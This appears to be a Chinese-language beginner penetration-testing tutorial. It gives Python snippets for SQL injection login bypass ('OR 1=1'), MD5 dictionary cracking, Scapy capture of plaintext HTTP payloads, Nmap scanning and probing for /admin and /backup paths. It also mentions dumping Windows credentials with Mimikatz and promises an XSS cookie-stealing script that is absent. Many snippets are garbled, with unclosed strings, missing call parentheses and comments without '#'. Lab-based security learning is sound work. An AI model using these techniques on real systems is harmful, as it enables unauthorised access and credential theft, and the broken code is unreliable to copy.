以下是为零基础黑客新手设计的代码实战教学指南，内容结合网络安全核心技术和代码实践，手把手带你从环境搭建到漏洞利用，逐步掌握核心技术。指南分为基础准备、核心代码实战、工具与框架应用三部分，引用多篇权威教程资源，确保知识体系完整且可操作。

一、基础准备：环境与工具

1. 实验环境搭建

虚拟机安装：使用VirtualBox或VMware安装Kali Linux（专为渗透测试设计的系统），避免影响宿主机的安全。

靶场配置：搭建DVWA（Damn Vulnerable Web Application）或下载OWASP WebGoat，模拟真实漏洞环境进行练习。

代码编辑器：推荐VS Code或Sublime Text，配置Python、JavaScript等语言插件。

2. 编程语言选择

Python：语法简洁，适合编写自动化脚本（如漏洞扫描、密码爆破）。

示例：用Python的`requests`库发送HTTP请求，检测SQL注入漏洞：

python

import requests

url = "http://target.com/login

payload = "' OR 1=1 -

"

data = {'username': 'admin', 'password': payload}

response = requests.post(url, data=data)

if "Welcome" in response.text:

print("[+] SQL Injection成功！")

Bash脚本：用于自动化系统级任务（如端口扫描、日志分析）。

二、核心代码实战：漏洞利用与防御

1. Web漏洞实战

SQL注入：

手动检测：通过输入`' OR 1=1 -

`绕过登录验证。

自动化工具：使用Python的`sqlmap`库或编写脚本批量检测注入点。

XSS攻击：

代码示例：构造恶意脚本窃取Cookie：

javascript

防御方法：对用户输入进行HTML实体转义（Python示例）：

python

from html import escape

user_input = escape(request.form['comment'])

2. 密码破解与加密

字典攻击：用Python的`hashlib`库破解MD5哈希：

python

import hashlib

target_hash = "5f4dcc3b5aa765d61d8327deb882cf99" "password"的MD5

with open("wordlist.txt", "r") as f:

for word in f:

hashed_word = hashlib.md5(word.strip.encode).hexdigest

if hashed_word == target_hash:

print(f"密码破解成功：{word}")

break

3. 网络嗅探与流量分析

Scapy抓包：分析网络流量中的敏感信息（Python代码）：

python

from scapy.all import sniff

def packet_callback(packet):

if packet.haslayer('Raw'):

print(f"捕获数据：{packet['Raw'].load}")

sniff(prn=packet_callback, filter="tcp port 80", store=0)

三、工具与框架应用

1. 渗透测试工具链

Burp Suite：抓包改包，自动化扫描Web漏洞（结合Python扩展插件）。

Metasploit：利用已知漏洞获取系统权限，编写自定义Exploit模块（Ruby/Python）。

Nmap：用Python脚本调用Nmap扫描端口：

python

import nmap

scanner = nmap.PortScanner

scanner.scan('192.168.1.1', arguments='-sV')

print(scanner.csv) 输出扫描结果

2. 自动化框架开发

爬虫+漏洞扫描器：结合`requests`和`BeautifulSoup`检测网站敏感目录：

python

import requests

from bs4 import BeautifulSoup

urls = ["/admin", "/backup"]

for path in urls:

r = requests.get(f"http://target.com{path}")

if r.status_code == 200:

print(f"[+] 发现敏感路径：{path}")

四、实战演练与进阶

1. CTF夺旗赛：通过平台（如Hack The Box、CTFtime）实练，学习逆向工程、隐写术等。

2. 漏洞众测：在HackerOne或漏洞盒子提交真实漏洞，积累经验。

3. 内网渗透模拟：搭建多层网络环境，练习横向移动、权限维持（如使用Mimikatz抓取Windows凭据）。

五、法律与道德准则

授权原则：所有测试需在授权范围内进行，避免触犯《网络安全法》。

白帽精神：以防御为核心，关注漏洞修复而非攻击（如编写WAF规则防御SQL注入）。

学习资源推荐

1. 书籍：《Python黑帽子：黑客与渗透测试编程》《Metasploit渗透测试指南》。

2. 课程：B站【零基础学黑客】系列教程（涵盖Kali工具与代码实战）。

3. 社区：FreeBuf、SecWiki，获取最新漏洞情报和工具更新。

通过以上步骤，新手可逐步从代码基础过渡到实战攻防，建议每天投入2小时实践，3-6个月可达到独立完成基础渗透测试的水平。